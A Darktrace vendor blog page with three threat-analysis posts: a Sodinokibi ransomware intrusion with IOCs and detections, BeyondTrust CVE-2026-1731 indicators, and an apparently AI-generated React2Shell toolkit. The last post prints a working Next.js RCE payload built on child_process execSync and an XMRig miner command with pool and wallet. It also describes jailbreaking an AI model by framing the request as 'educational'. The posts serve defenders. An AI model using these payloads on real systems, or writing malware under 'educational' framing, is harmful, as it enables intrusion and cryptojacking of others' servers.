Blog
/
/
February 20, 2020

Lessons Learned from a Sodinokibi Ransomware Attack

Gain insights into a targeted Sodinokibi ransomware attack and learn how to better prepare your organization for potential cyber threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
20
Feb 2020

Introduction

Last week, Darktrace detected a targeted Sodinokibi ransomware attack during a 4-week trial with a mid-sized company.

This blog post will go through every stage of the attack lifecycle and detail the attacker’s techniques, tools and procedures used, and how Darktrace detected the attack.

The Sodinokibi group is an innovative threat-actor that is sometimes referred to as a ‘double-threat’, due to their ability to run targeted attacks using ransomware while simultaneously exfiltrating their victim’s data. This enables them to threaten to make the victim’s data publicly available if the ransom is not paid.

While Darktrace’s AI was able to identify the attack in real time as it was emerging, unfortunately the security team didn’t have eyes on the technology and was unable to action the alerts — nor was Antigena set in active mode, which would have slowed down and contained the threat instantaneously.

Timeline

The timeline below provides a rough overview of the major attack phases. Most of the attack took place over the course of a week, with the majority of activity distributed over the last three days.

Technical analysis

Darktrace detected two main devices being hit by the attack: an internet-facing RDP server (‘RDP server’) and a Domain Controller (‘DC’), that also acts as a SMB file server.

In previous attacks, Sodinokibi has used host-level encryption for ransomware activity where the encryption takes place on the compromised host itself — in contrast to network-level encryption where the bulk of the ransomware activity takes place over network protocols such as SMB.

Initial compromise

Over several days, the victim’s external-facing RDP server was receiving successful RDP connections from a rare external IP address located in Ukraine.

Shortly before the initial reconnaissance started, Darktrace saw another RDP connection coming into the RDP server with the same RDP account as seen before. This connection lasted for almost an hour.

It is highly likely that the RDP credential used in this attack had been compromised prior to the attack, either via common brute-force methods, credential stuffing attacks, or phishing.

Thanks to Darktrace’s Deep-Packet Inspection, we can clearly see the connection and all related information.

Suspicious RDP connection information:

Time: 2020-02-10 16:57:06 UTC
Source: 46.150.70[.]86 (Ukraine)
Destination: 192.168.X.X
Destination Port: 64347
Protocol: RDP
Cookie: [REDACTED]
Duration: 00h41m40s
Data out: 8.44 MB
Data in: 1.86 MB

Darktrace detects incoming RDP connections from IP addresses that usually do not connect to the organization.

Attack tools download

Approximately 45 minutes after the suspicious RDP connection from Ukraine, the RDP server connected to the popular file sharing platform, Megaupload, and downloaded close to 300MB from there.

Darktrace’s AI recognized that neither this server, nor its automatically detected peer group, nor, in fact, anyone else on the network commonly utilized Megaupload — and therefore instantly detected this as anomalous behavior, and flagged it as unusual.

As well as the full hostname and actual IP used for the download, Megaupload is 100% rare for this organization.

Later on, we will see over 40GB being uploaded to Megaupload. This initial download of 300MB however is likely additional tooling and C2 implants downloaded by the threat-actor into the victim’s environment.

Internal reconnaissance

Only 3 minutes after the download from Megaupload onto the RDP server, Darktrace alerted on the RDP server doing an anomalous network scan:

The RDP server scanned 9 other internal devices on the same subnet on 7 unique ports: 21, 80, 139, 445, 3389, 4899, 8080
 . Anybody with some offensive security know-how will recognize most of these ports as default ports one would scan for in a Windows environment for lateral movement. Since this RDP server does not usually conduct network scans, Darktrace again identified this activity as highly anomalous.

Later on, we see the threat-actor do more network scanning. They become bolder and use more generic scans — one of them showing that they are using Nmap with a default user agent:

Additional Command and Control traffic

While the initial Command and Control traffic was most likely using predominantly RDP, the threat-actor now wanted to establish more persistence and create more resilient channels for C2.

Shortly after concluding the initial network scans (ca. 19:17 on 10th February 2020), the RDP server starts communicating with unusual external services that are unique and unusual for the victim’s environment.

Communications to Reddcoin

Again, nobody else is using Reddcoin on the network. The combination of application protocol and external port is extremely unusual for the network as well.

The communications also went to the Reddcoin API, indicating the installation of a software agent rather than manual communications. This was detected as Reddcoin was not only rare for the network, but also ‘young’ — i.e. this particular external destination had never been seen to be contacted before on the network until 25 minutes before.

Communications to the Reddcoin API

Communications to Exceptionless[.]io

As we can see, the communications to exceptionalness[.]io were done in a beaconing manner, using a Let’s Encrypt certificate, being rare for the network and using an unusual JA3 client hash. All of this indicates the presence of new software on the device, shortly after the threat-actor downloaded their 300MB of tooling.

While most of the above network activity started directly after the threat-actor dropped their tooling on the RDP server, the exact purpose of interfacing with Reddcoin and Exceptionless is unclear. The attacker seems to favor off-the-shelf tooling (Megaupload, Nmap, …) so they might use these services for C2 or telemetry-gathering purposes.

This concluded most of the activity on February 10.

More Command and Control traffic

Why would an attacker do this? Surely using all this C2 at the same time is much noisier than just using 1 or 2 channels?

Another significant burst of activity was observed on February 12 and 13.

The RDP server started making a lot of highly anomalous and rare connections to external destinations. It is inconclusive if all of the below services, IPs, and domains were used for C2 purposes only, but they are linked with high-confidence to the attacker’s activities:

  • HTTP beaconing to vkmuz[.]net
  • Significant amount of Tor usage
  • RDP connections to 198-0-244-153-static.hfc.comcastbusiness[.]net over non-standard RDP port 29348
  • RDP connections to 92.119.160[.]60 using an administrative account (geo-located in Russia)
  • Continued connections to Megaupload
  • Continued SSL beaconing to Exceptionless[.]io
  • Continued connections to api.reddcoin[.]com
  • SSL beaconing to freevpn[.]zone
  • HTTP beaconing to 31.41.116[.]201 to /index.php using a new User Agent
  • Unusual SSL connections to aj1713[.]online
  • Connections to Pastebin
  • SSL beaconing to www.itjx3no[.]com using an unusual JA3 client hash
  • SSL beaconing to safe-proxy[.]com
  • SSL connection to westchange[.]top without prior DNS hostname lookups (likely machine-driven)

What is significant here is the diversity in (potential) C2 channels: Tor, RDP going to dynamic ISP addresses, VPN solutions and possibly custom / customized off-the-shelf implants (the DGA-looking domains and HTTP to IP addresses to /index.php).

Why would an attacker do this? Surely using all this C2 at the same time is much noisier than just using 1 or 2 channels?

One answer might be that the attacker cared much more about short-term resilience than about stealth. As the overall attack in the network took less than 7 days, with a majority of the activity taking place over 2.5 days, this makes sense. Another possibility might be that various individuals were involved in parallel during this attack — maybe one attacker prefers the comfort of RDP sessions for hacking while another is more skilled and uses a particular post-exploitation framework.

The overall modus operandi in this financially-motivated attack is much more smash-and-grab than in the stealthy, espionage-related incidents observed in Advanced Persistent Threat campaigns (APT).

Data exfiltration

The DC uploaded around 40GB of data to Megaupload over the course of 24 hours.

While all of the above activity was seen on the RDP server (acting as the initial beach-head), the following data exfiltration activity was observed on a Domain Controller (DC) on the same subnet as the RDP server.

The DC uploaded around 40GB of data to Megaupload over the course of 24 hours.

Darktrace detected this data exfiltration while it was in progress — never did the DC (or any similar devices) upload similar amounts of data to the internet. Neither did any client nor server in the victim’s environment use Megaupload:

Ransom notes

Finally, Darktrace observed unusual files being accessed on internal SMB shares on February 13. These files appear to be ransom notes — they follow a similar, randomly-generated naming convention as other victims of the Sodinokibi group have reported:

413x0h8l-readme.txt
4omxa93-readme.txt

Conclusion and observations

The threat-actor seems to be using mostly off-the-shelf tooling which makes attribution harder — while also making detection more difficult.

This attack is representative of many of the current ransomware attacks: financially motivated, fast-acting, and targeted.

The threat-actor seems to be using mostly off-the-shelf tooling (RDP, Nmap, Mega, VPN solutions) which makes attribution harder — while also making detection more difficult. Using this kind of tooling often allows to blend in with regular admin activity — only once anomaly detection is used can this kind of activity be detected.

How can you spot the one anomalous outbound RDP connection amongst the thousands of regular RDP connections leaving your environment? How do you know when the use of Megaupload is malicious — compared to your users’ normal use of it? This is where the power of Darktrace’s self-learning AI comes into play.

Darktrace detected every stage of the visible attack lifecycle without using any threat intelligence or any static signatures.

The graphics below show an overview of detections on both compromised devices. The compromised devices were the highest-scoring assets for the network — even a level 1 analyst with limited previous exposure to Darktrace could detect such an in-progress attack in real time.

RDP Server

Some of the detections on the RDP server include:

  • Compliance / File Storage / Mega — using Megaupload in an unusual way
  • Device / Network Scan — detecting unusual network scans
  • Anomalous Connection / Application Protocol on Uncommon Port — detecting the use of protocols on unusual ports
  • Device / New Failed External Connections — detecting unusual failing C2
  • Compromise / Unusual Connections to Let’s Encrypt — detecting potential C2 over SSL using Let’s Encrypt
  • Compromise / Beacon to Young Endpoint — detecting C2 to new external endpoints for the network
  • Device / Attack and Recon Tools — detecting known offensive security tools like Nmap
  • Compromise / Tor Usage — detecting unusual Tor usage
  • Compromise / SSL Beaconing to Rare Destination — detecting generic SSL C2
  • Compromise / HTTP Beaconing to Rare Destination — detecting generic HTTP C2
  • Device / Long Agent Connection to New Endpoint — detecting unusual services on a device
  • Anomalous Connection / Outbound RDP to Unusual Port — detecting unusual RDP C2

DC

Some of the detections on the DC include:

  • Anomalous Activity / Anomalous External Activity from Critical Device — detecting unusual behaviour on dcs
  • Compliance / File storage / Mega — using Megaupload in an unusual way
  • Anomalous Connection / Data Sent to New External Device — data exfiltration to unusual locations
  • Anomalous Connection / Uncommon 1GB Outbound — large amounts of data leaving to unusual destinations
  • Anomalous Server Activity / Outgoing from Server — likely C2 to unusual endpoint on the internet


Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

More in this series

No items found.

Blog

/

/

February 13, 2026

CVE-2026-1731: How Darktrace Sees the BeyondTrust Exploitation Wave Unfolding

Default blog imageDefault blog image

Note: Darktrace's Threat Research team is publishing now to help defenders. We will update continue updating this blog as our investigations unfold.

Background

On February 6, 2026, the Identity & Access Management solution BeyondTrust announced patches for a vulnerability, CVE-2026-1731, which enables unauthenticated remote code execution using specially crafted requests.  This vulnerability affects BeyondTrust Remote Support (RS) and particular older versions of Privileged Remote Access (PRA) [1].

A Proof of Concept (PoC) exploit for this vulnerability was released publicly on February 10, and open-source intelligence (OSINT) reported exploitation attempts within 24 hours [2].

Previous intrusions against Beyond Trust technology have been cited as being affiliated with nation-state attacks, including a 2024 breach targeting the U.S. Treasury Department. This incident led to subsequent emergency directives from  the Cybersecurity and Infrastructure Security Agency (CISA) and later showed attackers had chained previously unknown vulnerabilities to achieve their goals [3].

Additionally, there appears to be infrastructure overlap with React2Shell mass exploitation previously observed by Darktrace, with command-and-control (C2) domain  avg.domaininfo[.]top seen in potential post-exploitation activity for BeyondTrust, as well as in a React2Shell exploitation case involving possible EtherRAT deployment.

Darktrace Detections

Darktrace’s Threat Research team has identified highly anomalous activity across several customers that may relate to exploitation of BeyondTrust since February 10, 2026. Observed activities include:

-              Outbound connections and DNS requests for endpoints associated with Out-of-Band Application Security Testing; these services are commonly abused by threat actors for exploit validation.  Associated Darktrace models include:

o    Compromise / Possible Tunnelling to Bin Services

-              Suspicious executable file downloads. Associated Darktrace models include:

o    Anomalous File / EXE from Rare External Location

-              Alerts for the model

o    Compromise / Rare Domain Pointing to Internal IP

-              Outbound beaconing to rare domains. Associated Darktrace models include:

o   Compromise / Agent Beacon (Medium Period)

o   Compromise / Agent Beacon (Long Period)

o   Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

o   Compromise / Beacon to Young Endpoint

o   Anomalous Server Activity / Rare External from Server

o   Compromise / SSL Beaconing to Rare Destination

-              Unusual cryptocurrency mining activity. Associated Darktrace models include:

o   Compromise / Monero Mining

o   Compromise / High Priority Crypto Currency Mining

IT Defenders: As part of best practices, we highly recommend employing an automated containment solution in your environment. For Darktrace customers, please ensure that Autonomous Response is configured correctly. More guidance regarding this activity and suggested actions can be found in the Darktrace Customer Portal.  

Appendices

Potential indicators of post-exploitation behavior:

·      217.76.57[.]78 – IP address - Likely C2 server

·      hXXp://217.76.57[.]78:8009/index.js - URL -  Likely payload

·      b6a15e1f2f3e1f651a5ad4a18ce39d411d385ac7  - SHA1 - Likely payload

·      195.154.119[.]194 – IP address – Likely C2 server

·      hXXp://195.154.119[.]194/index.js - URL – Likely payload

·      avg.domaininfo[.]top – Hostname – Likely C2 server

·      104.234.174[.]5 – IP address - Possible C2 server

·      35da45aeca4701764eb49185b11ef23432f7162a – SHA1 – Possible payload

·      hXXp://134.122.13[.]34:8979/c - URL – Possible payload

·      134.122.13[.]34 – IP address – Possible C2 server

·      28df16894a6732919c650cc5a3de94e434a81d80 - SHA1 - Possible payload

References:

1.        https://nvd.nist.gov/vuln/detail/CVE-2026-1731

2.        https://www.securityweek.com/beyondtrust-vulnerability-targeted-by-hackers-within-24-hours-of-poc-release/

3.        https://www.rapid7.com/blog/post/etr-cve-2026-1731-critical-unauthenticated-remote-code-execution-rce-beyondtrust-remote-support-rs-privileged-remote-access-pra/

Continue reading
About the author
Emma Foulger
Global Threat Research Operations Lead

Blog

/

Network

/

February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

AI/LLM-Generated Malware Used to Exploit React2ShellDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

 The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer
Your data. Our AI.
Elevate your network security with Darktrace AI